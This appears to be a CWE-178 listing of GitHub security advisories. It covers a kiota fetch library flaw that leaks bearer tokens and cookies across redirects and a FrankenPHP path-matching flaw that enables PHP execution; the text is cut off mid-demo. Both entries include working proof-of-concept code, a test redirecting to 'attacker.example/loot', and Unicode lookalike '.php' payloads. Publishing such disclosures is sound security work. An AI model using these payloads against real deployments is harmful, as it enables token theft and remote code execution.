CWE-178
AllowedImproper Handling of Case Sensitivity
Abstraction: Base · Status: Incomplete
The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.
198 vulnerabilities reference this CWE, most recent first.
GHSA-396Q-4VC8-28X9
Vulnerability from github – Published: 2026-06-26 22:23 – Updated: 2026-06-26 22:23Summary
@microsoft/kiota-http-fetchlibrary's RedirectHandler is documented as stripping Authorization and Cookie from cross-origin redirect targets, but the default scrubSensitiveHeaders callback in RedirectHandlerOptions uses case-sensitive property deletion (delete headers.Authorization, delete headers.Cookie) on a headers object that FetchRequestAdapter.getRequestFromRequestInformation has already lower-cased. The delete therefore targets keys that do not exist, the scrub is a no-op, and any Bearer token or Cookie attached by a kiota-generated SDK is forwarded to an attacker-controlled host across a 30x redirect.
This is reachable in the default middleware chain (MiddlewareFactory.getDefaultMiddlewares) with no custom configuration, and applies to every kiota-generated TypeScript SDK that uses BaseBearerTokenAuthenticationProvider or any other authentication provider that sets the Authorization request header.
Affected versions
@microsoft/kiota-http-fetchlibrary >= 1.0.0-preview.97 (the release that introduced the defaultScrubSensitiveHeaders callback, commit 74886cc4, tagged 2026-02-27) up to and including 1.0.0-preview.101 (latest at filing). The bug was verified end-to-end against the version published on npm: 1.0.0-preview.100.
The case-mismatch primitive (lowercasing in the request adapter) predates the scrub itself — FetchRequestAdapter.getRequestFromRequestInformation has lower-cased header keys via toLocaleLowerCase() since commit d612bac2 (2022-12-09). When the scrub was added in 2026-02 it inherited the mismatch.
Impact
- Bearer token leak across origin. When a kiota-generated SDK calls a server that the SDK trusts (Microsoft Graph, an internal API, any OAuth2 resource server) and that server returns an HTTP redirect to a different host, the
Authorization: Bearer <token>header issued by the auth provider is sent in cleartext to the redirect target. The redirect target can be controlled by: - An attacker who can corrupt or MITM a single 30x response from the legitimate host (downgrade-on-redirect amplifier).
- An attacker who has temporarily compromised a low-trust endpoint of the upstream API and can issue 302 responses (e.g. a public profile-image URL on Graph that returns 302 to attacker-controlled storage).
- An attacker who can persuade the kiota-using application to call an attacker-chosen base URL that returns 302 to the attacker (a confused-deputy SSRF-style abuse where the application proxies a user-supplied URL through a kiota-built client).
- Session cookie leak across origin. If the application or generated SDK attaches a
Cookieheader, the same primitive forwards it to the redirect target. - No user interaction required. The default middleware chain is in effect; the application does not need to opt in to the bug.
Vulnerable code
The two pieces that combine into the bug.
1. Headers are lower-cased on the way out of the request adapter.
packages/http/fetch/src/fetchRequestAdapter.ts:529-532:
const headers: Record<string, string> | undefined = {};
requestInfo.headers?.forEach((_, key) => {
headers[key.toString().toLocaleLowerCase()] = this.foldHeaderValue(requestInfo.headers.tryGetValue(key));
});
The headers object that flows into the middleware pipeline as fetchRequestInit.headers has every key lower-cased. So Authorization becomes authorization, Cookie becomes cookie.
2. The default redirect scrub deletes case-sensitive property names.
packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts:67-82:
private static readonly defaultScrubSensitiveHeaders: ScrubSensitiveHeaders = (headers: Record<string, string>, originalUrl: string, newUrl: string) => {
if (!headers || !originalUrl || !newUrl) {
return;
}
try {
const originalUri = new URL(originalUrl);
const newUri = new URL(newUrl);
const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();
if (isDifferentHostOrScheme) {
delete headers.Authorization;
delete headers.Cookie;
}
} catch {
return;
}
};
delete headers.Authorization is sugar for delete headers["Authorization"]. JavaScript object property names are case-sensitive. The headers object's actual key is "authorization" (lower-case). The delete removes nothing.
3. The redirect handler invokes the scrub on the lower-cased object.
packages/http/fetch/src/middlewares/redirectHandler.ts:133-136:
if (fetchRequestInit.headers) {
currentOptions.scrubSensitiveHeaders(fetchRequestInit.headers as Record<string, string>, url, newUrl);
}
The redirect handler then issues a new fetch with the unchanged fetchRequestInit.headers (still containing authorization) to newUrl (the attacker-controlled host).
How the Bearer token reaches the attacker host
- Application calls a kiota-generated SDK method.
FetchRequestAdapter.sendcallsauthenticationProvider.authenticateRequest(requestInfo).BaseBearerTokenAuthenticationProvideraddsAuthorization: Bearer <token>torequestInfo.headers(packages/abstractions/src/authentication/baseBearerTokenAuthenticationProvider.ts:34).FetchRequestAdapter.getRequestFromRequestInformationbuilds theRequestInitobject, lower-casing every header key. The outputheadersmap contains key"authorization".- The default middleware chain runs
RetryHandlerthenRedirectHandler.RedirectHandler.executesetsredirect = "manual"so the underlyingfetchdoes not auto-follow. - The upstream HTTP request goes out to the victim host carrying
authorization: Bearer <token>. - The victim host responds with
302 Location: https://attacker.example/loot. RedirectHandler.executeWithRedirectsees the 302, parses the Location, computesnewUrl, and callscurrentOptions.scrubSensitiveHeaders(headers, url, newUrl).defaultScrubSensitiveHeaderscorrectly observesoriginalUri.host !== newUri.host, enters theif (isDifferentHostOrScheme)branch, and runsdelete headers.Authorization. The headers object's key isauthorization. The delete is a no-op.executeWithRedirectrecurses withurl = newUrland the unchangedheaders. A secondfetchgoes out to the attacker host carryingauthorization: Bearer <token>andcookie: <session>.
Proof of concept
End-to-end PoC against @microsoft/kiota-http-fetchlibrary@1.0.0-preview.100 and @microsoft/kiota-abstractions@1.0.0-preview.99 installed from npm with npm install. Two local HTTP listeners simulate the victim host (port 7771) and the attacker host (port 7772). The attacker listener captures the full set of request headers it observes.
package.json:
{
"name": "kiota-bearer-leak-poc",
"version": "0.0.1",
"private": true,
"type": "module",
"dependencies": {
"@microsoft/kiota-abstractions": "^1.0.0-preview.99",
"@microsoft/kiota-http-fetchlibrary": "^1.0.0-preview.99"
}
}
poc.mjs:
import http from "node:http";
import {
BaseBearerTokenAuthenticationProvider,
RequestInformation,
HttpMethod,
} from "@microsoft/kiota-abstractions";
import {
FetchRequestAdapter,
KiotaClientFactory,
} from "@microsoft/kiota-http-fetchlibrary";
const TOKEN = "SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD";
const COOKIE = "session=SECRET_COOKIE_EEEE-FFFF";
const attackerCapture = [];
const attackerServer = http.createServer((req, res) => {
attackerCapture.push({ url: req.url, headers: req.headers });
res.writeHead(200, { "Content-Type": "application/json" });
res.end(JSON.stringify({ pwned: true }));
});
await new Promise((r) => attackerServer.listen(7772, "127.0.0.1", r));
const victimServer = http.createServer((req, res) => {
res.writeHead(302, { Location: "http://127.0.0.1:7772/api/data" });
res.end();
});
await new Promise((r) => victimServer.listen(7771, "127.0.0.1", r));
class StaticTokenProvider {
getAuthorizationToken() { return Promise.resolve(TOKEN); }
getAllowedHostsValidator() { return { getAllowedHosts: () => [] }; }
}
const authProvider = new BaseBearerTokenAuthenticationProvider(new StaticTokenProvider());
const adapter = new FetchRequestAdapter(authProvider, undefined, undefined, KiotaClientFactory.create());
adapter.baseUrl = "http://127.0.0.1:7771";
const requestInfo = new RequestInformation();
requestInfo.urlTemplate = "{+baseurl}/me";
requestInfo.pathParameters["baseurl"] = "http://127.0.0.1:7771";
requestInfo.httpMethod = HttpMethod.GET;
requestInfo.headers.add("Cookie", COOKIE);
try { await adapter.sendNoResponseContent(requestInfo, undefined); } catch (e) {}
console.log("attacker received:", JSON.stringify(attackerCapture[0]?.headers, null, 2));
attackerServer.close();
victimServer.close();
End-to-end reproduction against @microsoft/kiota-http-fetchlibrary@1.0.0-preview.100
Setup:
mkdir kiota-leak && cd kiota-leak
cat > package.json <<'EOF'
{
"name": "kiota-bearer-leak-poc",
"version": "0.0.1",
"private": true,
"type": "module",
"dependencies": {
"@microsoft/kiota-abstractions": "^1.0.0-preview.99",
"@microsoft/kiota-http-fetchlibrary": "^1.0.0-preview.99"
}
}
EOF
# Save the poc.mjs above into the same directory
npm install
node --version # tested on Node v26.0.0
node poc.mjs
Captured transcript (verbatim from a clean run on Node v26):
attacker received: {
"host": "127.0.0.1:7772",
"connection": "keep-alive",
"cookie": "session=SECRET_COOKIE_EEEE-FFFF",
"authorization": "Bearer SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD",
"user-agent": "kiota-typescript/1.0.0-preview.24",
"accept": "*/*",
"accept-language": "*",
"sec-fetch-mode": "cors",
"accept-encoding": "gzip, deflate"
}
The attacker-controlled host on 127.0.0.1:7772 (a different origin from 127.0.0.1:7771) observes both the OAuth2 Bearer token and the session cookie. The default RedirectHandler.scrubSensitiveHeaders did execute its delete branch (verified by inserting a console.log inside the scrub) but the deletes targeted property names that did not exist, leaving the lower-cased headers intact.
Suggested fix
Two-line change to defaultScrubSensitiveHeaders to drop sensitive headers regardless of key case, with Proxy-Authorization covered for the Node-with-agent case.
--- a/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts
+++ b/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts
@@ -73,12 +73,21 @@ export class RedirectHandlerOptions implements RequestOption {
try {
const originalUri = new URL(originalUrl);
const newUri = new URL(newUrl);
- // Remove Authorization and Cookie headers if the request's scheme or host changes
+ // Remove Authorization, Cookie, and Proxy-Authorization headers if the request's scheme or host changes.
+ // Header keys must be matched case-insensitively because the request adapter lower-cases
+ // header keys before they reach this middleware (see FetchRequestAdapter.getRequestFromRequestInformation).
const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();
if (isDifferentHostOrScheme) {
- delete headers.Authorization;
- delete headers.Cookie;
+ for (const key of Object.keys(headers)) {
+ const lower = key.toLowerCase();
+ if (lower === "authorization" || lower === "cookie" || lower === "proxy-authorization") {
+ delete headers[key];
+ }
+ }
}
} catch {
// If URL parsing fails, don't modify headers
Tests should be extended in packages/http/fetch/test/node/RedirectHandler.ts to cover the realistic case where headers arrive lower-cased — the existing tests use PascalCase Authorization: ... fixtures that match the buggy delete by coincidence and therefore pass even with the no-op scrub. Add at minimum:
it("Should drop authorization and cookie regardless of key case", async () => {
const fetchRequestInit = {
method: "GET",
headers: { authorization: "Bearer TEST", cookie: "session=SECRET" },
};
const options = new RedirectHandlerOptions();
options.scrubSensitiveHeaders(
fetchRequestInit.headers,
"https://graph.microsoft.com/v1.0/me",
"https://attacker.example/loot",
);
assert.isUndefined(fetchRequestInit.headers.authorization);
assert.isUndefined(fetchRequestInit.headers.cookie);
});
Fix commit
https://github.com/microsoft/kiota-typescript/commit/09f8bd9b34d68bf412a9b78f6ca7e7961ef14974
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.0-preview.101"
},
"package": {
"ecosystem": "npm",
"name": "@microsoft/kiota-http-fetchlibrary"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-preview.97"
},
{
"fixed": "1.0.0-preview.102"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49336"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T22:23:11Z",
"nvd_published_at": "2026-06-19T19:16:36Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`@microsoft/kiota-http-fetchlibrary`\u0027s `RedirectHandler` is documented as stripping `Authorization` and `Cookie` from cross-origin redirect targets, but the default `scrubSensitiveHeaders` callback in `RedirectHandlerOptions` uses case-sensitive property deletion (`delete headers.Authorization`, `delete headers.Cookie`) on a headers object that `FetchRequestAdapter.getRequestFromRequestInformation` has already lower-cased. The delete therefore targets keys that do not exist, the scrub is a no-op, and any Bearer token or Cookie attached by a kiota-generated SDK is forwarded to an attacker-controlled host across a 30x redirect.\n\nThis is reachable in the default middleware chain (`MiddlewareFactory.getDefaultMiddlewares`) with no custom configuration, and applies to every kiota-generated TypeScript SDK that uses `BaseBearerTokenAuthenticationProvider` or any other authentication provider that sets the `Authorization` request header.\n\n### Affected versions\n\n`@microsoft/kiota-http-fetchlibrary` `\u003e= 1.0.0-preview.97` (the release that introduced the `defaultScrubSensitiveHeaders` callback, commit `74886cc4`, tagged 2026-02-27) up to and including `1.0.0-preview.101` (latest at filing). The bug was verified end-to-end against the version published on npm: `1.0.0-preview.100`.\n\nThe case-mismatch primitive (lowercasing in the request adapter) predates the scrub itself \u2014 `FetchRequestAdapter.getRequestFromRequestInformation` has lower-cased header keys via `toLocaleLowerCase()` since commit `d612bac2` (2022-12-09). When the scrub was added in 2026-02 it inherited the mismatch.\n\n### Impact\n\n- **Bearer token leak across origin.** When a kiota-generated SDK calls a server that the SDK trusts (Microsoft Graph, an internal API, any OAuth2 resource server) and that server returns an HTTP redirect to a different host, the `Authorization: Bearer \u003ctoken\u003e` header issued by the auth provider is sent in cleartext to the redirect target. The redirect target can be controlled by:\n - An attacker who can corrupt or MITM a single 30x response from the legitimate host (downgrade-on-redirect amplifier).\n - An attacker who has temporarily compromised a low-trust endpoint of the upstream API and can issue 302 responses (e.g. a public profile-image URL on Graph that returns 302 to attacker-controlled storage).\n - An attacker who can persuade the kiota-using application to call an attacker-chosen base URL that returns 302 to the attacker (a confused-deputy SSRF-style abuse where the application proxies a user-supplied URL through a kiota-built client).\n- **Session cookie leak across origin.** If the application or generated SDK attaches a `Cookie` header, the same primitive forwards it to the redirect target.\n- **No user interaction required.** The default middleware chain is in effect; the application does not need to opt in to the bug.\n\n### Vulnerable code\n\nThe two pieces that combine into the bug.\n\n**1. Headers are lower-cased on the way out of the request adapter.**\n\n[`packages/http/fetch/src/fetchRequestAdapter.ts:529-532`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/http/fetch/src/fetchRequestAdapter.ts#L529-L532):\n\n```ts\nconst headers: Record\u003cstring, string\u003e | undefined = {};\nrequestInfo.headers?.forEach((_, key) =\u003e {\n headers[key.toString().toLocaleLowerCase()] = this.foldHeaderValue(requestInfo.headers.tryGetValue(key));\n});\n```\n\nThe headers object that flows into the middleware pipeline as `fetchRequestInit.headers` has every key lower-cased. So `Authorization` becomes `authorization`, `Cookie` becomes `cookie`.\n\n**2. The default redirect scrub deletes case-sensitive property names.**\n\n[`packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts:67-82`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts#L67-L82):\n\n```ts\nprivate static readonly defaultScrubSensitiveHeaders: ScrubSensitiveHeaders = (headers: Record\u003cstring, string\u003e, originalUrl: string, newUrl: string) =\u003e {\n if (!headers || !originalUrl || !newUrl) {\n return;\n }\n try {\n const originalUri = new URL(originalUrl);\n const newUri = new URL(newUrl);\n const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();\n if (isDifferentHostOrScheme) {\n delete headers.Authorization;\n delete headers.Cookie;\n }\n } catch {\n return;\n }\n};\n```\n\n`delete headers.Authorization` is sugar for `delete headers[\"Authorization\"]`. JavaScript object property names are case-sensitive. The headers object\u0027s actual key is `\"authorization\"` (lower-case). The delete removes nothing.\n\n**3. The redirect handler invokes the scrub on the lower-cased object.**\n\n[`packages/http/fetch/src/middlewares/redirectHandler.ts:133-136`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/http/fetch/src/middlewares/redirectHandler.ts#L133-L136):\n\n```ts\nif (fetchRequestInit.headers) {\n currentOptions.scrubSensitiveHeaders(fetchRequestInit.headers as Record\u003cstring, string\u003e, url, newUrl);\n}\n```\n\nThe redirect handler then issues a new `fetch` with the unchanged `fetchRequestInit.headers` (still containing `authorization`) to `newUrl` (the attacker-controlled host).\n\n### How the Bearer token reaches the attacker host\n\n1. Application calls a kiota-generated SDK method.\n2. `FetchRequestAdapter.send` calls `authenticationProvider.authenticateRequest(requestInfo)`. `BaseBearerTokenAuthenticationProvider` adds `Authorization: Bearer \u003ctoken\u003e` to `requestInfo.headers` ([`packages/abstractions/src/authentication/baseBearerTokenAuthenticationProvider.ts:34`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/abstractions/src/authentication/baseBearerTokenAuthenticationProvider.ts#L34)).\n3. `FetchRequestAdapter.getRequestFromRequestInformation` builds the `RequestInit` object, lower-casing every header key. The output `headers` map contains key `\"authorization\"`.\n4. The default middleware chain runs `RetryHandler` then `RedirectHandler`. `RedirectHandler.execute` sets `redirect = \"manual\"` so the underlying `fetch` does not auto-follow.\n5. The upstream HTTP request goes out to the victim host carrying `authorization: Bearer \u003ctoken\u003e`.\n6. The victim host responds with `302 Location: https://attacker.example/loot`.\n7. `RedirectHandler.executeWithRedirect` sees the 302, parses the Location, computes `newUrl`, and calls `currentOptions.scrubSensitiveHeaders(headers, url, newUrl)`.\n8. `defaultScrubSensitiveHeaders` correctly observes `originalUri.host !== newUri.host`, enters the `if (isDifferentHostOrScheme)` branch, and runs `delete headers.Authorization`. The headers object\u0027s key is `authorization`. The delete is a no-op.\n9. `executeWithRedirect` recurses with `url = newUrl` and the unchanged `headers`. A second `fetch` goes out to the attacker host carrying `authorization: Bearer \u003ctoken\u003e` and `cookie: \u003csession\u003e`.\n\n### Proof of concept\n\nEnd-to-end PoC against `@microsoft/kiota-http-fetchlibrary@1.0.0-preview.100` and `@microsoft/kiota-abstractions@1.0.0-preview.99` installed from npm with `npm install`. Two local HTTP listeners simulate the victim host (port 7771) and the attacker host (port 7772). The attacker listener captures the full set of request headers it observes.\n\n`package.json`:\n\n```json\n{\n \"name\": \"kiota-bearer-leak-poc\",\n \"version\": \"0.0.1\",\n \"private\": true,\n \"type\": \"module\",\n \"dependencies\": {\n \"@microsoft/kiota-abstractions\": \"^1.0.0-preview.99\",\n \"@microsoft/kiota-http-fetchlibrary\": \"^1.0.0-preview.99\"\n }\n}\n```\n\n`poc.mjs`:\n\n```js\nimport http from \"node:http\";\nimport {\n BaseBearerTokenAuthenticationProvider,\n RequestInformation,\n HttpMethod,\n} from \"@microsoft/kiota-abstractions\";\nimport {\n FetchRequestAdapter,\n KiotaClientFactory,\n} from \"@microsoft/kiota-http-fetchlibrary\";\n\nconst TOKEN = \"SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD\";\nconst COOKIE = \"session=SECRET_COOKIE_EEEE-FFFF\";\n\nconst attackerCapture = [];\nconst attackerServer = http.createServer((req, res) =\u003e {\n attackerCapture.push({ url: req.url, headers: req.headers });\n res.writeHead(200, { \"Content-Type\": \"application/json\" });\n res.end(JSON.stringify({ pwned: true }));\n});\nawait new Promise((r) =\u003e attackerServer.listen(7772, \"127.0.0.1\", r));\n\nconst victimServer = http.createServer((req, res) =\u003e {\n res.writeHead(302, { Location: \"http://127.0.0.1:7772/api/data\" });\n res.end();\n});\nawait new Promise((r) =\u003e victimServer.listen(7771, \"127.0.0.1\", r));\n\nclass StaticTokenProvider {\n getAuthorizationToken() { return Promise.resolve(TOKEN); }\n getAllowedHostsValidator() { return { getAllowedHosts: () =\u003e [] }; }\n}\nconst authProvider = new BaseBearerTokenAuthenticationProvider(new StaticTokenProvider());\nconst adapter = new FetchRequestAdapter(authProvider, undefined, undefined, KiotaClientFactory.create());\nadapter.baseUrl = \"http://127.0.0.1:7771\";\n\nconst requestInfo = new RequestInformation();\nrequestInfo.urlTemplate = \"{+baseurl}/me\";\nrequestInfo.pathParameters[\"baseurl\"] = \"http://127.0.0.1:7771\";\nrequestInfo.httpMethod = HttpMethod.GET;\nrequestInfo.headers.add(\"Cookie\", COOKIE);\n\ntry { await adapter.sendNoResponseContent(requestInfo, undefined); } catch (e) {}\n\nconsole.log(\"attacker received:\", JSON.stringify(attackerCapture[0]?.headers, null, 2));\nattackerServer.close();\nvictimServer.close();\n```\n\n### End-to-end reproduction against `@microsoft/kiota-http-fetchlibrary@1.0.0-preview.100`\n\nSetup:\n\n```bash\nmkdir kiota-leak \u0026\u0026 cd kiota-leak\ncat \u003e package.json \u003c\u003c\u0027EOF\u0027\n{\n \"name\": \"kiota-bearer-leak-poc\",\n \"version\": \"0.0.1\",\n \"private\": true,\n \"type\": \"module\",\n \"dependencies\": {\n \"@microsoft/kiota-abstractions\": \"^1.0.0-preview.99\",\n \"@microsoft/kiota-http-fetchlibrary\": \"^1.0.0-preview.99\"\n }\n}\nEOF\n# Save the poc.mjs above into the same directory\nnpm install\nnode --version # tested on Node v26.0.0\nnode poc.mjs\n```\n\nCaptured transcript (verbatim from a clean run on Node v26):\n\n```\nattacker received: {\n \"host\": \"127.0.0.1:7772\",\n \"connection\": \"keep-alive\",\n \"cookie\": \"session=SECRET_COOKIE_EEEE-FFFF\",\n \"authorization\": \"Bearer SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD\",\n \"user-agent\": \"kiota-typescript/1.0.0-preview.24\",\n \"accept\": \"*/*\",\n \"accept-language\": \"*\",\n \"sec-fetch-mode\": \"cors\",\n \"accept-encoding\": \"gzip, deflate\"\n}\n```\n\nThe attacker-controlled host on `127.0.0.1:7772` (a different origin from `127.0.0.1:7771`) observes both the OAuth2 Bearer token and the session cookie. The default `RedirectHandler.scrubSensitiveHeaders` did execute its delete branch (verified by inserting a `console.log` inside the scrub) but the deletes targeted property names that did not exist, leaving the lower-cased headers intact.\n\n### Suggested fix\n\nTwo-line change to `defaultScrubSensitiveHeaders` to drop sensitive headers regardless of key case, with `Proxy-Authorization` covered for the Node-with-agent case.\n\n```diff\n--- a/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts\n+++ b/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts\n@@ -73,12 +73,21 @@ export class RedirectHandlerOptions implements RequestOption {\n try {\n const originalUri = new URL(originalUrl);\n const newUri = new URL(newUrl);\n\n- // Remove Authorization and Cookie headers if the request\u0027s scheme or host changes\n+ // Remove Authorization, Cookie, and Proxy-Authorization headers if the request\u0027s scheme or host changes.\n+ // Header keys must be matched case-insensitively because the request adapter lower-cases\n+ // header keys before they reach this middleware (see FetchRequestAdapter.getRequestFromRequestInformation).\n const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();\n\n if (isDifferentHostOrScheme) {\n- delete headers.Authorization;\n- delete headers.Cookie;\n+ for (const key of Object.keys(headers)) {\n+ const lower = key.toLowerCase();\n+ if (lower === \"authorization\" || lower === \"cookie\" || lower === \"proxy-authorization\") {\n+ delete headers[key];\n+ }\n+ }\n }\n } catch {\n // If URL parsing fails, don\u0027t modify headers\n```\n\nTests should be extended in `packages/http/fetch/test/node/RedirectHandler.ts` to cover the realistic case where headers arrive lower-cased \u2014 the existing tests use PascalCase `Authorization: ...` fixtures that match the buggy delete by coincidence and therefore pass even with the no-op scrub. Add at minimum:\n\n```ts\nit(\"Should drop authorization and cookie regardless of key case\", async () =\u003e {\n const fetchRequestInit = {\n method: \"GET\",\n headers: { authorization: \"Bearer TEST\", cookie: \"session=SECRET\" },\n };\n const options = new RedirectHandlerOptions();\n options.scrubSensitiveHeaders(\n fetchRequestInit.headers,\n \"https://graph.microsoft.com/v1.0/me\",\n \"https://attacker.example/loot\",\n );\n assert.isUndefined(fetchRequestInit.headers.authorization);\n assert.isUndefined(fetchRequestInit.headers.cookie);\n});\n```\n\n### Fix commit\n\nhttps://github.com/microsoft/kiota-typescript/commit/09f8bd9b34d68bf412a9b78f6ca7e7961ef14974\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-396q-4vc8-28x9",
"modified": "2026-06-26T22:23:11Z",
"published": "2026-06-26T22:23:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota-typescript/security/advisories/GHSA-396q-4vc8-28x9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49336"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota-typescript/commit/09f8bd9b34d68bf412a9b78f6ca7e7961ef14974"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/kiota-typescript"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "@microsoft/kiota-http-fetchlibrary: Bearer token and Cookie leak across origin on redirect due to case-mismatched scrub in fetchRequestAdapter"
}
GHSA-3CC4-4GGR-8JCR
Vulnerability from github – Published: 2022-05-24 17:47 – Updated: 2022-06-29 00:00Windows DNS Information Disclosure Vulnerability This CVE ID is unique from CVE-2021-28328.
{
"affected": [],
"aliases": [
"CVE-2021-28323"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-13T20:15:00Z",
"severity": "MODERATE"
},
"details": "Windows DNS Information Disclosure Vulnerability This CVE ID is unique from CVE-2021-28328.",
"id": "GHSA-3cc4-4ggr-8jcr",
"modified": "2022-06-29T00:00:49Z",
"published": "2022-05-24T17:47:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28323"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28323"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/162251/Microsoft-DiagHub-Privilege-Escalation.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/Apr/40"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3G8V-8R37-CGJM
Vulnerability from github – Published: 2026-05-15 17:09 – Updated: 2026-06-10 18:41Summary
The splitPos() function in cgi.go misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-.php file as a .php script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.
This advisory consolidates two independent reports against the same function (the duplicate, GHSA-v4h7-cj44-8fc8, has been closed). Both were reported by @KC1zs4.
Details
var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)
func splitPos(path string, splitPath []string) int {
if len(splitPath) == 0 {
return 0
}
pathLen := len(path)
for _, split := range splitPath {
splitLen := len(split)
for i := 0; i < pathLen; i++ {
if path[i] >= utf8.RuneSelf {
if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
return end
}
break
}
if i+splitLen > pathLen {
continue
}
match := true
for j := 0; j < splitLen; j++ {
c := path[i+j]
if c >= utf8.RuneSelf {
if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
return end
}
break // <-- flaw 1: 'match' is still true
}
if 'A' <= c && c <= 'Z' {
c += 'a' - 'A'
}
if c != split[j] {
match = false
break
}
}
if match {
return i + splitLen
}
}
}
return -1
}
Flaw 1 — Control-flow: stale match after inner non-ASCII fallback
In the inner for j loop, when a byte satisfies c >= utf8.RuneSelf and splitSearchNonASCII.IndexString(...) returns -1, the loop breaks without setting match = false. The outer code then evaluates if match { return i + splitLen } with match still true, returning a position as if .php had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named name.<U+00A1>.txt gets routed as PHP.
Flaw 2 — Unicode equivalence: search.IgnoreCase folds non-ASCII lookalikes onto ASCII
search.New(language.Und, search.IgnoreCase) performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII ., p, h, p, so a path containing ﹒php, .php, .php, .ⓟⓗⓟ, .𝗽𝗵𝗽, .𝓅𝒽𝓅, .𝖕𝖍𝖕, etc. is reported as .php.
Both flaws share the same root cause: invoking search.IgnoreCase to match an ASCII-only, validated-lower-case split entry against an arbitrary path. WithRequestSplitPath already guarantees every entry is ASCII and lower-cased, so any byte >= utf8.RuneSelf in the path can never be part of a legitimate match — but the fallback ignored that guarantee.
PoC
Standalone reproducer (copy splitPos from cgi.go verbatim, plus the imports):
package main
import (
"fmt"
"unicode/utf8"
"golang.org/x/text/language"
"golang.org/x/text/search"
)
var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)
// ... splitPos copied verbatim from cgi.go ...
func main() {
split := []string{".php"}
payloads := []string{
// flaw 1
"/PoC-match-unset.txt", // expected: -1
"/PoC-match-unset.¡.txt", // expected: -1, actual: 20
// flaw 2
"/shell﹒php", // ﹒ small full stop
"/shell.php", // . fullwidth full stop
"/shell.php", // p fullwidth p
"/shell.php", // h fullwidth h
"/shell.ⓟⓗⓟ", // ⓟⓗⓟ circled
"/shell.\U0001D5FD\U0001D5F5\U0001D5FD", // 𝗽𝗵𝗽 mathematical sans-serif bold
"/shell.\U0001D4C5\U0001D4BD\U0001D4C5", // 𝓅𝒽𝓅 mathematical script
"/shell.ⓟⓗⓟ.anything-after-payload.php",
}
for _, p := range payloads {
fmt.Printf("%-50s : %d\n", p, splitPos(p, split))
}
}
Run go run poc.go:
/PoC-match-unset.txt : -1
/PoC-match-unset.¡.txt : 20
/shell﹒php : 12
/shell.php : 12
/shell.php : 12
/shell.php : 12
/shell.ⓟⓗⓟ : 16
/shell.𝗽𝗵𝗽 : 19
/shell.𝓅𝒽𝓅 : 19
/shell.ⓟⓗⓟ.anything-after-payload.php : 16
Every value other than -1 is a wrong answer: splitPos claims .php was matched at the printed offset, so SCRIPT_FILENAME is set to the corresponding non-PHP file (which PHP then loads and executes).
End-to-end demo
Directory layout:
.
├── Caddyfile # `:8080 { root * /app/public; php }`
└── public/
├── index.php
├── poc-match-unset.¡. # contains <?php echo "marker=flaw1\n"; ?>
